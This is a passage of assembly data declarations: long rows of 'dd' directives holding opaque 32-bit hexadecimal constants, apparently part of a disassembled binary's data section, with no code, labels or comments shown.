9E4A87A4h, 0C58AA091h, 7BE332C8h, 5F8B001Ch dd 96A814F1h, 0B7558C49h, 0BBEE484h, 41E20A07h, 7280CF20h dd 77215565h, 87C4054Bh, 0A42D77F1h, 0AB167844h, 2CF2CEC9h dd 58EA137Eh, 0C12CC743h, 0F2B61223h, 357968D9h, 8D009618h dd 296146E6h, 0BEC09C24h, 86670920h, 3071F4D1h, 0B00D418h dd 0E74BFA73h, 0B8663Ch, 298AE1E0h, 32F34C5Ch, 0D40DAB18h dd 38EE7D0h, 0BAEBBC7Dh, 0BDA08BF6h, 0E14A3D36h, 75E3E031h dd 697AB079h, 0D48298A0h, 230F680Bh, 85FF8DEDh, 0DFE8C0E8h dd 0DC32008Ch, 2A271342h, 795FEF43h, 25B09C4Eh, 0BC406DA6h dd 0DB104BDAh, 20F09076h, 0FD046CC3h, 8DAE2ABEh, 8B4E40BCh dd 0C037C890h, 0C5385B06h dd 2AF8A87Dh, 0FDA78E0Fh, 402737ECh, 0D2D88419h, 0B6D3C4ECh dd 697A050h, 30277B47h, 10AAB11h, 0A626A588h, 5A3F1CE0h dd 0A5C49C84h, 0C18D8088h, 76F5A3E0h, 0FF947553h, 77B638E8h dd 0D8EE3D29h, 5320A020h, 0C5CE3841h, 18E7C025h, 0DAD64110h dd 204D809Ch, 0A937E0h, 1124F997h, 0D18743Dh, 14CBA44Fh dd 6FC037C8h, 31F0F95h, 27EB065Bh, 4798FFF6h, 5F09E54Ah dd 56D6A6h, 0B92AA55Ch, 0FDF6001Fh, 0E7554CDBh, 36001A7Eh dd 5A94576Dh, 1FE4BEC5h, 919A11Bh, 447B2D0Dh, 6480E525h dd 0A44A60D8h, 0FB4200CFh, 0E83249Eh, 5206B0F3h, 23958C06h dd 40995FC8h, 88E1F0BCh, 155CE7AAh, 5FA33AE0h, 0ACB20C13h dd 0CA307AF2h, 0EE9B0039h, 0AD93AF98h, 21C07507h, 621186C6h dd 59DA0078h, 0D39341FAh, 280B4482h, 8F0E13Bh, 4674C874h dd 0DB3A0C35h, 92FC4262h, 0F5DC12ACh, 132080C0h, 949EDBA1h dd 0E41CE5A5h, 0DED16044h, 3BAF00B0h, 5EE2578Bh, 4A27ACCBh dd 56A4C24Bh, 4CD1CBECh, 0B118C979h, 0FFA9C104h, 0BCA0FBh dd 0C804CE4Fh, 4797C079h, 1C0150CCh, 0B33EA34Eh, 5080B25Dh dd 6ABE6926h, 0A14F0D96h, 3A239C2Fh, 34ADE700h, 61533DBAh dd 406659D1h, 423465D3h, 0D45C3A38h, 4A4146C4h, 70C89358h dd 2C3C5138h, 33CB1852h, 789C9B38h, 2FF5F49h, 0EB9F8574h dd 5A493C7Ch, 0D4AE44A8h, 0C26045F4h, 7E417680h, 8010BC56h dd 6F3D9FE9h, 672499EBh, 810E9804h, 0B81440DEh, 90951F8Bh dd 0ECD9C091h, 2A7AFFB4h, 6A0B29E4h, 6078EDA7h, 25DD1A70h dd 48520865h, 48190D02h, 406AACE0h, 56FE1Dh, 0DEFF9069h dd 6ED7D02Fh, 7A8E1F1Ch, 2A87933Fh, 0B5EF7C04h, 4807AC21h dd 87EF0FD8h, 3BD6A219h, 0F9E99600h, 0DABE48F3h, 32CA8105h dd 8C74D70Fh, 434B3B50h, 0E08B7482h, 30514458h, 3D49A709h dd 0D57B5822h, 156B8F1Eh, 0DF7A1D7Ah, 0AB6D4F40h, 4256632h dd 22A677E2h, 63C8CCE9h, 3F751720h, 24AF30D6h, 0CD56BC20h dd 22181D62h, 0BC31FC08h, 0BCF2B83Dh, 348D0054h, 32FF9779h dd 762F8704h, 0F8A4DA33h, 0EB20000Dh, 50E39108h, 0F0A023E7h dd 400151A3h, 0E9D37489h, 44285320h, 1AA9F628h, 0F4F56446h dd 320470C4h, 929A085Bh, 44C850CEh, 59B133C1h, 7962B03Bh dd 725D0D16h, 0FE3B8C8h, 3EEF8186h, 645C57A0h, 16008D1Ah dd 0D5EE6083h, 9670A1B0h, 0AB8BE078h, 0C601BDD8h, 5369AF60h dd 0B89186D4h, 44234FCAh, 1A76F0C4h, 0B5D072Fh, 104D226Dh dd 131F3E49h, 0CD2C1C27h, 0DF6BC06Ch, 0FCB0BA2Ah, 97B2DC20h dd 0DDA43818h, 0C880B84Fh, 9D20557Ch, 0FE15B4A0h, 640B0F24h dd 51103D7Eh, 1873797Ch, 9CEB0903h, 0D80F6DDDh, 2869DEA9h dd 0CC01C1C1h, 0B7BD654Bh, 0A6D40318h, 68989664h, 0C27ED577h dd 168C7F58h, 48C2A971h, 7144DB18h, 0FA3C32Fh, 432C3AC8h dd 0CC45A325h, 50EA4CA8h, 3C4B2120h, 113E9C89h, 1685D4F8h dd 3BECC165h, 0C19062DAh, 0C4651EAEh, 1F508D60h, 856DF737h dd 528DB8Ah, 94B0F5A3h, 0BDA0AC58h, 38B21C72h, 4AB7A30h dd 0BB3F1719h, 25CCEC85h, 57CC4EAh, 0FCF5DF06h, 1FC4C8C9h dd 98684441h, 932C2010h, 0CFB224E2h, 38B29330h, 0BC96DD47h dd 671492A5h, 4C54BC89h, 0BEA066A5h, 0E017DC24h, 0A805181Bh dd 946F87B6h, 0EBB0CD01h, 3FC28778h, 4B7A822h, 0C4C4B9E2h dd 7600BAB1h, 12E9F7F0h, 97092614h, 7ED312A0h, 0B2336490h dd 3D9E8028h, 30B671C0h, 0F94FACEh, 0B52E08BCh, 376B5200h dd 149754E5h, 6C5B2098h, 465E44BEh, 93520030h, 2C84964Eh dd 0EED807F3h, 665851B6h, 127E8DCh, 6074ED86h, 0FC740746h dd 56D1B07h, 0F9F06CD2h, 178BDB23h, 8B1C9CF4h, 0CECA88B0h dd 0DC51B889h, 0F232C48Fh, 2BACD040h, 0EA1CFAD1h, 28872437h dd 7B4674C8h, 87739B00h, 2807154Ch, 0E99C530Eh, 0F23E8978h dd 0C6F92058h, 0B16C6902h, 0D9B4B8A9h, 187CD970h, 0E0725897h dd 0E3488717h, 303AB2B4h, 4F0584E1h, 0FE0921E3h, 5114DC87h dd 14EDDE02h, 172D18F4h, 87A09148h, 0A642F4E3h, 16C0541Ah dd 23482F8Ah, 5ADD017Fh, 0AFE981D4h, 0E4E06540h, 0A98F61CFh dd 16F5BF8h, 1488E984h, 63640EA6h, 0BE5507D8h, 0BC10401Eh dd 734D3B9h, 3FEBABA5h, 0BC5FD46Fh, 908A80E0h, 5B747Bh dd 1D992332h, 0F2F619AFh, 2716BB00h, 0A5594328h, 0A6630CD1h dd 8D392632h, 89767701h, 23DC6A52h, 342E1071h, 0BCE4EC14h dd 37268C34h, 8F05169Dh, 9CC08E12h, 952C5444h, 2C15A0B2h dd 0E8803B11h, 0B58CEA10h, 0D6182F60h, 97A7D558h, 0F778A825h dd 6350B090h, 74DD12A7h, 0C9301FA4h, 0E0542762h, 0B72F1504h dd 6E6E68B5h, 0A7E60154h, 9EACF48Ah, 53D4422Bh, 0D4806BEFh dd 8EC27346h, 8A12E800h, 455CA687h, 0D8A204E0h, 0A82A5B3Ch dd 62E70978h, 0A45079E2h, 51EF3F9Ch, 0F0182585h, 0B84E2CD4h dd 8A00386Eh, 0FD0C5BF0h, 945EF5A4h, 81EC8815h, 0B65025C4h dd 5743699Ch, 0AEC4426Ah, 975F1FB3h, 87CF113Ch, 2250C359h dd 0B8F2CDF7h, 0CBF320B4h, 2F8BF13Ch, 0C59C0999h, 60DFE41Ch dd 28F28B37h, 4498FC18h, 0DD2F122Ch, 2CA00871h, 0C4900FD6h dd 0C0FC3A2Ah, 0B28284A0h, 800216A3h, 0B80D3CE4h, 71FCDA8Fh dd 115409D6h, 0E500C8E9h, 0E0C18AD2h, 30CCBF00h, 799891E8h dd 31BD608Fh, 4D1894A9h, 5EB2BF0Ah, 5200D6D5h, 0E18F0C16h dd 0B0C505B3h, 1CBAD460h, 6926C490h, 4B54BC8Ch, 0CDC0B4DEh dd 0DAE73294h, 6F274D01h, 0D995533Dh, 11E80F7Bh, 0E7B08E1Ch dd 0B19C78D8h, 0A508DC15h, 9896268Ch, 54A9803Bh, 34590FF3h dd 0E57D00C4h, 11178C7Bh, 0BF0052A6h, 87F96B8Ah, 99BC0E1Dh dd 187CD1C4h, 11160FB9h, 60732461h, 90C5A65Ch, 50903AE9h dd 20302F11h, 0A59D3BE3h, 0F4A91F38h, 0DA0184ACh, 86BF46C6h dd 0C07D25A9h, 0BC18085Fh, 71B45BA5h, 945FE8EEh, 5742A303h dd 93EBBF74h, 5591C23Fh, 0F9082881h, 8C3B3FA1h, 0A900DA23h dd 7810B288h, 265B00D7h, 3CBDC7B7h, 0B64BF367h, 0AB21A8CAh dd 50FDE860h, 0C0B64BB3h, 86CA6B8h, 0E9D1A701h, 89A1B571h dd 4B09B2D0h, 0DAA8C8A9h, 0D929F166h, 9188021h, 488C63C4h dd 24A26CDDh, 99004CD6h, 662A6001h, 4D48F42Fh, 681278C3h dd 0BCFCBC77h, 43258C7Ch, 2E5C1820h, 79301076h, 0AB3E0B29h dd 97E07251h, 254368B9h, 0F2DC7214h, 0D10530DEh, 660DE025h dd 0BBA015D0h, 0EA09EC9Dh, 2CC2AB58h, 206F705Ch, 602A78E0h dd 2DA60EB7h, 0A4C0768Dh, 0C9EA2CB0h, 3AAA800Ch, 456D127h dd 0CC291B38h, 0C1B0A881h, 0A7A8DDA4h, 0E3399C39h, 0F4102C40h dd 2A0BC94Ch, 0D01F6E6Bh, 90963091h, 12CB1FC8h, 2B937F02h dd 0FEAF78E8h, 138BBA50h, 0F58297BDh, 48FCB198h, 0DD4676h dd 4BC514FCh, 16EA533Bh, 0F120C42Eh, 34372E9Ch, 0D874FDB1h dd 0FB4BE182h, 532B8C4Eh, 737150D0h, 0F7D4E43Ch, 2EBBC00h dd 0AF7A8E76h, 0AEDB0003h, 32501AC6h, 0B7BD2864h, 130A166Ch dd 93CAD7Ch, 51EF3DAAh, 11B42600h, 0D7007F45h, 6162511Bh dd 2DBDAB33h, 0A8B79267h, 60CF208Eh, 0A894FC65h, 201890F7h dd 1A14B078h, 12C87926h, 0E0F55438h, 34AC3C2Dh, 16DCAD48h dd 3CA45BA0h, 0EFB30926h, 4C026B14h, 590B6043h, 0FE620020h dd 91E44049h, 0C151EB00h, 0FC1ACF5Bh, 0CC56016Dh, 0AEB0E776h dd 1831BB6Ch, 0C3F00717h dd 0BC6D97C5h, 16808DC0h, 6F63122Ah, 0D2B4E24Bh, 0FF823C9Ah dd 0BC529FBEh, 0AAAED100h, 0A0E03ED5h, 2CB320E6h, 0A352DF20h dd 7ADCA2CCh, 4A5F2154h, 0F121FE9Dh, 17918C2h, 809829EAh dd 0E8FE2E41h, 8FEEBAAEh, 2694209Dh, 1F179DF9h, 197FF53Ah dd 6AA36C5Ch, 0C84CBC1h, 9582CBBh, 9F28510Bh, 0EC328CC2h dd 7F795859h, 0A30B2F18h, 8FDAC1A6h, 44F192F8h, 7FEC1478h dd 0A7B6048Ch, 0ED1C0F83h, 0FC2ED3A0h, 0EF1DCD23h, 0A5C08EC0h dd 9E09C8Ch, 41B33F10h, 96818876h, 38873BDh, 0C82DB888h dd 7F586A01h, 46F09C0h, 8B265BCh, 48F11161h, 8C38E8B8h dd 18FD1526h, 3C262B90h, 0ACC71204h, 8C7DECC8h, 995A0603h dd 2468A5B1h, 884BD19h, 0F60D6137h, 0FC60182Eh, 8A794BB9h dd 0B8B64EC8h, 0A01DFDE0h, 455DC200h, 0ADCE1B8h, 1ECD008Ch dd 0A118B667h, 0DFEC2A38h, 60B0ED25h, 253B28FCh, 0B0F9410Bh dd 0EA1834D9h, 0E8880400h, 11B0C7A9h, 0BB0D153Dh, 51026827h dd 4CBE9D92h, 0EEA8F460h, 60E7BB01h, 103FDAFh, 1B045C28h dd 0AFA3E06Dh, 3A2F1C44h, 641CEC21h, 37203084h, 6C241222h dd 0B8CCB96Dh, 9E362F24h, 2FA564C8h, 0AD6C2600h, 0B9F6C0B5h dd 4A213E24h, 0BAB8258Bh, 56F8F458h, 8064E93Ch, 0C5B3E837h dd 0B560EA8Dh, 44D32C89h, 2D179170h, 604804AFh, 19EC7D21h dd 87BC9860h, 79B1862Bh, 716005Ah, 1CBF3FACh, 7A128D2Ch dd 0B0E3B521h, 0E174E64Eh, 302E038Ch, 2F77B6C4h, 0C764DC12h dd 3B8BB4E3h, 0B5C4F067h, 1D803F67h, 8C9C01D5h, 0CD978A7Fh dd 6907C228h, 36BBC080h, 0E53E80FFh, 1409F70Eh, 2F0FC0Dh dd 16A47B8h, 6BF4EDA4h, 9064D413h, 1C6EEBh, 17447995h dd 477669Bh, 0CC07AF7Eh, 0E02CAEABh, 0F85C92F6h, 0CE19C0AEh dd 9C521FD8h, 688D6626h, 0BD951930h, 909B0F5Dh, 0E7D2A601h dd 0CC8A4B78h, 75C03AC8h, 95E52D4h, 0AC7D50DDh, 0E7E1C80Fh dd 0C918A6F7h, 0B8C0D6D6h, 8CBEC9BAh, 7A465Eh, 3157FD6Dh dd 0E6097F93h, 11600055h, 438E6127h, 5D522D1Ah, 78CB4F88h dd 0C001E3DFh, 0EC22CE83h, 0AE8C222Bh, 11AAE8E1h, 343227A6h dd 0BEE18B0Bh, 2C83C800h, 19CF2DDBh, 968E8018h, 97A2C15Ah dd 82E09C18h, 608C1302h, 542D1FC3h, 921DDC10h, 0E8662F61h dd 5B059D1Fh, 0B89EC43Dh, 37E775C1h, 7851F44Ch, 0A29FDCFCh dd 1AE2928h, 52A69708h, 52113380h, 3CD93A30h, 9B3AD09Ch dd 81348E07h, 17933362h, 24A660DFh, 98A4606Eh, 474A61FCh dd 0E9FF28E0h, 4AF1ADCCh, 89825DAh, 0A60C4698h, 882A7021h dd 9027FDA4h, 2D2824A5h, 253844AEh, 4A30ACFCh, 0A4093CB0h dd 0FADB3DD8h, 3B996B80h, 0A8CCDFE9h, 6F4BC800h, 21D45118h dd 89B3253Dh, 64090C72h, 0C95950BDh, 2417B5DCh, 60C98283h dd 2A00A0D0h, 0AE20A98Eh, 0B211B33Ch, 60A095A8h, 7DEDBDDEh dd 0CB432EEh, 0EE0128B3h, 2AFF4459h, 89533325h, 8FC7C70h dd 0E38269Bh, 0BDB401A9h, 5D84115h, 2FC33060h, 254B4891h dd 65FC042Ah, 9426EE2Ch, 71D8C681h, 0B74471C8h, 2F6B0928h dd 0E4FC8B0Ah, 2C394674h, 10095430h, 6004CAC0h, 25AD2114h dd 30C46E52h, 0F4421000h, 130F8431h, 0BD5B005Eh, 62D91DC8h dd 9F09B953h, 7C1B8EEh, 59B9FD34h, 1878D960h, 0C2113F40h dd 7C9203BCh, 3EA0F09Bh, 0CD99BB15h, 0A29409CCh, 0D6A8DC86h dd 0E6225400h, 3A7BD404h, 173C12C3h, 0E004B664h, 4B064888h dd 3944007h, 0A4BD2EA9h, 0F8A5A700h, 0A8F2E667h, 0F47B0110h dd 432CD96Ah, 72A47C4Bh, 0F6508995h, 0DD4676C0h, 52B6100h dd 24049714h, 0CA485505h, 38E68677h, 507174B0h, 732CBC25h dd 285C6950h, 663307D4h, 923D0527h, 405CB8C5h, 0AB39A80Bh dd 721C5B04h, 0E55F5D40h, 426DDB4Ch, 68082FC0h, 780378h dd 0A2A3DA4Eh, 0C17EE97Ch, 2CFFAA05h, 0A0E1B33Bh, 0F654346Eh dd 7C56E0E4h, 3FE00B9h, 8EE2E3CEh, 69257F7Ah, 7871EBh dd 112FAF1Bh, 0DE133D8Fh, 2901F6BFh, 202ECE2Ah, 78C08A4h dd 4C299E64h, 0EB05F510h, 8A163DBFh, 0CA80009Bh, 320E9DC2h dd 8CF87671h, 522A7725h, 8AAA0098h, 8F5A8127h, 972578E3h dd 2D34C430h, 0B01DA65Dh, 5A83DD91h, 82AD9AE5h, 8C461C1Ah dd 96DB653Ch, 7D00FBFDh, 0AD9FF330h, 1D8A05D9h, 8064D187h dd 0BCF7F134h, 0C6542827h, 582093A4h, 9B0B9F14h, 2B80B60h dd 672A58h, 0D80713ACh, 288C6602h, 0D5B68333h, 3A91809Dh dd 18DA2B81h, 610FE16Fh, 2520307Ch, 0E4CBF82Dh, 0A047545Ch dd 4B582550h, 244AC850h, 0C52280E7h, 934490BDh, 393E79CBh dd 0AE24A38Eh, 709E1E8Bh, 8BF47181h, 5E4D3Dh, 5788836Eh dd 7ED67B63h, 0A88D0177h, 58A71A80h, 285ECEB5h, 0ED22A4E0h dd 3400E97Eh, 72E4E67Dh, 88DF113h, 0D3F0B4h, 0A5209BCAh dd 167E1AECh, 34183A00h, 0C18C69A6h, 0EF111F7Ah, 8A0101B4h dd 2BAE9CF4h, 0CCF26885h, 8F30CEF2h, 0BA720178h, 2426F8B8h dd 78422AD4h, 2745B63h, 98822827h, 0A401601Dh, 54E6BCF5h dd 0AC56E08Ch, 52F4B6AFh, 22073009h, 4438E708h, 0AE8060CBh dd 78F76B2Fh, 8EFD58E8h, 0CF817609h, 0E44C45F0h, 2C8C60D8h dd 8E1E0075h, 0E8D9E408h, 0B098AE5Dh, 149D3401h, 22F2E040h dd 6364306Bh, 858060DFh, 3BB40B18h, 0F8E809D8h, 8171BA7Ch dd 1FA02A00h, 41CB7D55h, 0EC1A00EBh, 236C86E8h, 0D3005CAFh dd 0C3F82FB8h, 5F6DA33Eh, 0FDF095A5h, 533C0578h, 53ABD429h dd 0C8D88F40h, 0F0ECACAh, 0A998E222h, 0A4316111h, 4F6BD08Ch dd 241C0401h, 7818427Ch, 0AB89DCBFh, 0B8A2952Eh, 3857A08Eh dd 85524720h, 0C77CCD2Fh, 83D487C0h, 782DB766h, 4A780459h dd 0C790C3h, 7A11B90h, 37ADB82Ch, 0DCB1134Ah, 5E3C58h dd 29F82C95h, 0FC0D80BDh, 63BAEB25h, 0ADF80498h, 0AE6BB659h dd 7D00C07Eh, 2E261D07h, 0E707D7A7h, 15897B6Ch, 24DDC461h dd 0FB8002Ah, 4D9DE42Ah, 60123D25h, 3CDBA654h, 0EAA50B4Ch dd 54542012h, 0F8EDDC41h, 3E0CD32Ah, 3FA643F0h, 0C9812E6Eh dd 0A14C7B06h, 18385160h, 544B486Dh, 0AC658012h, 0B408A580h dd 0DB8B8228h, 0F0543924h, 3E0DB851h, 7923242Bh, 59EA0900h dd 1FAB3001h, 7A58A6B0h, 0F1AC0BCAh, 0A091C89Fh, 3EE2D68Eh dd 0BC68C5BBh, 3A17CC87h, 0F8495613h, 0D5F451B0h, 0E4DCE5ADh dd 89D56030h, 41152C5Dh, 0B19614FCh, 963CAF40h, 94C541F8h dd 0BF1A00C9h, 0CF5127B8h, 37D14073h, 0B3807070h, 0B0B207BCh dd 0DBA768A8h, 4B5070DCh, 5C39A628h, 0E6F7C5ECh, 6B3B2C01h dd 0AE24CC2Ch, 0A497514Ch, 9B059C79h, 0C8E209DDh, 0A27CF693h dd 7B44603Ah, 0D9084A20h, 0C6E7E58h, 0C710670Fh, 0C0DE1584h dd 0A6A21C4Ch, 0EB176804h, 0F8D76440h, 0B12E2181h, 0B8602DF5h dd 0F9A018BEh, 17FD78D5h, 4C57181Eh, 0F7604CAEh, 99309Ah dd 347BD01Ah, 98DDB942h, 0C259EB00h, 14D846C1h, 0B08D01F6h dd 778F01E5h, 28902EC4h, 39BAF40Fh, 8AAE071Fh, 2402DCFCh dd 0EB43A73Dh, 0E2C8745Ah, 4B21D9E8h, 702A7D0Bh, 4762CC28h dd 54196369h, 713441CCh, 3079EDF0h, 755FDDF8h, 1D3F4DEh dd 0D3A4A893h, 852078CBh, 58B8683Dh, 4911EB00h, 612FA7D2h dd 0FBD0BA95h, 8B2F5078h, 0FAF1800h, 0EEA72BAAh, 80FC9E73h dd 9EE17460h, 0C2D5836h, 973C6EC6h, 60004B5h, 0FB632CC3h dd 5A909277h, 0A2F8A322h dd 123B30CBh, 580BEBECh, 0DA082A33h, 0E8CA401Ch, 40C1E72Ch dd 0C42625DEh, 0D6832871h, 27B3C1A0h, 18723159h, 59B96825h dd 76B300D0h, 9B81A205h, 0E1D02C0Fh, 0ED3AE0F9h, 6AA31179h dd 0CFCE8A8h, 26B02963h, 67121D7Ah, 7CA38953h, 395A007Dh dd 0D5BBA1BCh, 0CD979EB7h, 0F432E0FCh, 0DC001E01h, 3ED2A34h dd 0A430A6FEh, 48019D88h, 0F4F952F6h, 44E7928Dh, 8FB44FCCh dd 3D2A6402h, 591C3A5Dh, 19DC5984h, 18D58BF0h, 0D8087C28h dd 8D80C551h, 787D1234h, 8DA0B257h, 2C7689FAh, 4A4E2E0h dd 99887354h, 63145400h, 0DFF66CDBh, 34000E7h, 0BB11FAA7h dd 9373CDC7h, 0F6E8DCB8h, 80975A7Dh, 0BF78EBDCh, 9CBA9525h dd 3740BCDCh, 14D6F9Dh, 4BCEF5EEh, 0F09C8446h, 0DD4A0720h dd 0CFB27CE3h, 60DAD30h, 89B58EBFh, 8F208847h, 0AB3E3D29h dd 29CC947Ch, 28A81Ch, 0D1BCF10Dh, 4FFA6B27h, 76C8625Ch dd 1565540h, 0AD3B393Ah, 608F7E77h, 0A540B88Ch, 9F50B0B5h dd 28487468h, 6E22BF25h, 20BEFB58h, 0CBCADE3Fh, 2A8D012Ch dd 83EE07ADh, 82FEA04h, 82007823h, 0B48EDD13h, 6AAC0C96h dd 8BC0682Fh, 0A9F92704h, 78CE21A1h, 72C0DE88h, 0B54B40A9h dd 99308466h, 349C123h, 17F471h, 5AFFA26Fh, 0CDF60ECEh dd 0CF203498h, 0BC0C2E2Bh, 0C95930A6h, 6300F0E8h, 99142341h dd 2C24FF4h, 0FC7D4D82h, 20572677h, 818C0178h, 8F94132Ah dd 80A0DBF0h, 39D7A68Eh, 2F1373DCh, 0B44AF5A7h, 7B14D061h dd 54B86016h, 14287685h, 19131C40h, 102826B2h, 2DEED20h dd 85E330F4h, 0BC54B015h, 0F2554FDCh, 0C26300CCh, 7DDB5EC5h dd 53AC0098h, 8DB9A2F5h, 665B3231h, 0C167F8C1h, 9D1C226Ah dd 0B79C8B7Fh, 0EE9507ACh, 84C59101h, 78446ABBh, 0A41C6FB7h dd 0C70B09A0h, 7E0FC811h, 9CACA440h, 8DCF14h, 9BC89F2Bh dd 0CA4DF32Fh, 0E7766E2Ch, 1D95E400h, 482C1C16h, 4F12A818h dd 0B2F0A36Ah, 2B313139h, 68FD8834h, 8A0BA5B8h, 2490492h dd 501BA8h, 0AF2A3112h, 7820EC90h, 0B0B408A7h, 0EA82FCA8h dd 0A5C4F758h, 6EEE2E84h, 2755000Ch, 0B419C2ACh, 0FEF600BFh dd 0A70199EBh, 0CDBDD36Ch, 9629C3B4h, 5E41DCA0h, 6E18A625h dd 70B5B5A4h, 0C64BD200h, 5CE91EB2h, 5052F280h, 0D1690418h dd 37E2E2E8h, 0BB6258h, 0CA44D9DBh, 656F098Ch, 0F98FA0B3h dd 0AF0200FCh, 319EE15h, 0C4109D6Dh, 0AAEA6AD3h, 2B82521Fh dd 0C54B347h, 0F0D091F3h, 0B786018Eh, 8563BCEDh, 0B131895Fh dd 0B1806FFDh, 792711BEh, 0D047B1Fh, 31EAEDA3h, 99342480h dd 29A80416h, 0C48EBC10h, 2F4081C4h, 758A08CFh, 609090D9h dd 0EFD35176h, 3B006987h, 0C3B0D192h, 3A580E07h, 0BC811539h dd 0B240DA27h, 60D92A9Dh, 9F4F58D0h, 25B384A2h, 3295BCF8h dd 0E037DF8Ch, 6F6C9707h, 40E09F30h, 0A8B1252Dh, 0AF92EC71h dd 0B850F41Fh, 0A73BB604h, 0AF14946Eh, 5901006Bh, 20EE6E97h dd 4003EC5Ch, 0C80F2F25h, 3D8D819Ch, 0C5BD3FF8h, 70870D25h dd 60745986h, 314674h, 9A6296E9h, 903EF66h, 263D1F28h dd 0E521EC58h, 187AF1D0h, 0A34D0290h, 0DB0E1B0Bh, 0A41DC4FEh dd 84512521h, 0EA3F5811h, 0D1B33D93h, 6AB7D748h, 3B2C5CC0h dd 0B7896EBh, 0D8F0900Bh, 58C8B120h, 0F4808008h, 49C7DF6Fh dd 52CE200h, 4FF81D52h, 8CC5019Ch, 533D040Ch, 5B147419h dd 0AEB1140Ch, 0BE0FB918h, 0EA8B80C8h, 0E638F52Fh, 0F3546C00h dd 1142BFF9h, 0BB14043Dh, 81646BA6h, 3E56806Ch, 40CB64CCh dd 0F0919935h, 0E5FE0Bh, 38937041h, 12D51CB5h, 0FC304008h dd 96F3D16h, 7979A660h, 5447ADh, 55F4ED8Bh, 7A72B3E5h dd 9B394805h, 0A0588F21h, 12EF6571h, 0E0736ACDh, 0CA001D3Ch dd 9CEB8A79h, 19E97F3Dh, 902ADF40h, 0C1B4289Eh, 49AB3D9Fh dd 7E18917Fh, 28132E8Dh, 4CDD5C02h, 3AA602DBh, 8D00A8D2h dd 6C251481h, 2542CC60h, 8C5979ABh, 0B4E2CE92h, 0AEAF8E03h dd 0D94BEA09h, 650064B2h, 0AD554180h, 0DDE02C53h, 0FB644401h dd 0A0C79270h, 8DC3DC4h, 610B332Ah, 44AC9434h, 48154C22h dd 9B47B40h, 2239B8BEh, 0C350E204h, 0A3183A99h, 0C527FC3Ch dd 48C7A422h, 2DA9180Fh, 8F400BF4h, 0D0561418h, 28CD9108h dd 163F0478h, 0AB675843h, 14B3CC12h, 65348D00h, 0C57C879Fh dd 6DF88995h, 0F013C71Ch, 0A294E304h, 82278A07h, 4D5B1045h dd 80556430h, 60548C48h, 0E4F638B6h, 38C703C9h, 9EFF4972h dd 7C00E17Eh, 0F655980Ch, 4A188950h, 0C87C8F56h, 1DCC07Ah dd 0ECEFFB44h, 144AEF34h, 6BD664B6h, 80D090Ch, 894020AFh dd 1024419h, 39A2812h, 7B6F32ACh, 75F2D402h, 0DBACCA2Fh dd 771470C8h, 90061E0Eh, 0F93D6BBCh, 40642AD0h, 0AC982268h dd 54A30771h, 80BF8FF7h, 0DDCEA6D3h, 8800AA7Fh, 0BE5B1A5Eh dd 4AF2E8EEh, 8FFCCCB9h, 866C48BFh, 1C1300E9h, 7ADA422Bh dd 5D12E7F2h, 9CAC0D06h, 0DF4C8BD2h, 0DD2104E3h, 2A8B81A0h dd 0B278F864h, 1408666Fh, 10309DD0h, 125EF51Fh, 0F91C16DFh dd 99AC44h, 0D3C9E9A9h, 800C3C04h, 34B7255Ah, 979D4922h dd 8438910Ch, 70C03D22h, 2DEDA7AFh, 545BC94Ch, 0ECE91F16h dd 49008FACh, 0A19CBBECh, 24908CC9h, 4C50A7B1h, 0A34A8E70h dd 172CDCB2h, 0D9C9086Ch, 9D1C7027h, 0A1064460h, 0D3182516h dd 37878C4Bh, 65FB80E4h, 0DBAB0684h, 6AE7697Dh, 90CD0C88h dd 87B4124Ch, 45E8B3E1h, 0B93BF7B0h, 0D8082DA4h, 0D44595B8h dd 0BD299409h, 351B8074h, 518C274Dh, 4E4C8D2Fh, 893179A8h dd 0D4D44301h, 89110F9Ch, 8700B777h, 0DB28E909h, 3E044056h dd 38E0F1BBh, 0BA9427E7h, 82C1406Dh, 0CC2FE73Dh, 74406BD8h dd 0D5072DADh, 0FF44745Ah, 515013D4h, 0D2E0FDA9h, 66B888EDh dd 6A7E3Fh, 18A108C6h, 0C33C9E16h, 0B57FCCA1h, 785B7C80h dd 0F57E3A1Eh, 63A0D200h, 3E1B2491h, 8F13C287h, 0E6188576h dd 0CC87B09Ch, 2C2900A9h, 0EC5A1CBFh, 782DE9A8h, 5328C8FFh dd 0B7D44015h, 0C1B48C30h, 80F0A7h, 4A96579Bh, 74525B53h dd 6A621301h, 0B28D87DAh, 0AC54C02Fh, 1513310Fh, 600196ABh dd 0DFF025C6h, 5E14002Bh, 0B1B8A85Dh, 0B0A6AD4Eh, 0D36CAF00h dd 0B53EF808h, 0E9A7B025h, 4620FE8h, 0B34017Ch, 0E7494E7Bh dd 12E8703Bh, 14DD874Ah, 80BCDA6Bh, 0F433EA0Ah, 0E35255Dh dd 34AB5C5Bh, 53A6859h, 0AB469FC0h, 4CF68816h, 617480E4h dd 332762C4h, 4FCCDA45h, 10D8B271h, 6A25753Bh, 0A85E58C2h dd 3DA4676h, 0EA53EC60h, 0E0B1F8EDh, 68820EE1h, 0AC32AE3Fh dd 30E8C248h, 9401F7EFh, 0F4C11521h, 62B5D73Bh, 40377558h dd 70AF209h, 28B4E2BAh, 23643BABh, 0C70E0139h, 2FD1A0FDh dd 6EABD474h, 9F120940h, 40D05C61h, 975DDE0Bh, 3016C900h dd 9ABD396Eh, 700F015Fh, 143CCED8h, 0CC002EBBh, 778392E0h dd 183E00B4h, 202D2FAFh, 7C0080FCh, 11C024DEh, 17F4BD6Fh dd 0B08CB5CCh, 50E4A660h, 95845895h, 0D0D9E08Bh, 0D61836F1h dd 80B8BA00h, 0B03883DEh, 1617226h, 0E9C07755h, 40322B40h dd 0D16B19E4h, 52D8820Eh, 842F03BDh, 0D7900FE1h, 98988BD2h dd 2881C7B0h, 88EC9A2Bh, 0FBE7C539h, 4EF0C1Dh, 41EB0C6Ch dd 3025DE74h, 0EC6405D3h, 0BF009CA2h, 0D6B982B3h, 0CD951C14h dd 256061FCh, 3BE04255h, 0A1C064C6h, 9FD1DBFBh, 1AB32E36h dd 7D903A68h, 38E49392h dd 4CF44C22h, 2024149Fh, 8C191876h, 511B71C1h, 0F6491012h dd 0A10033BCh, 66B471E9h, 0C7137004h, 100E3CE5h, 1F6282FDh dd 40905C25h, 29D1E75Eh, 5B7700Bh, 5198563Fh, 7A14F613h dd 4F29CD31h, 0BF180121h, 5049ADCFh, 88E24BA8h, 20E2A6FCh dd 465E20B6h, 0A4172CA3h, 0F9412F0Bh, 1834D9B4h, 0D50E00C7h dd 0EB70C081h, 5B133F96h, 28E2B4D9h, 568AECC5h, 0A380A8F8h dd 99792580h, 0BDC82420h, 25005141h, 1AEE79D8h, 198FD15h dd 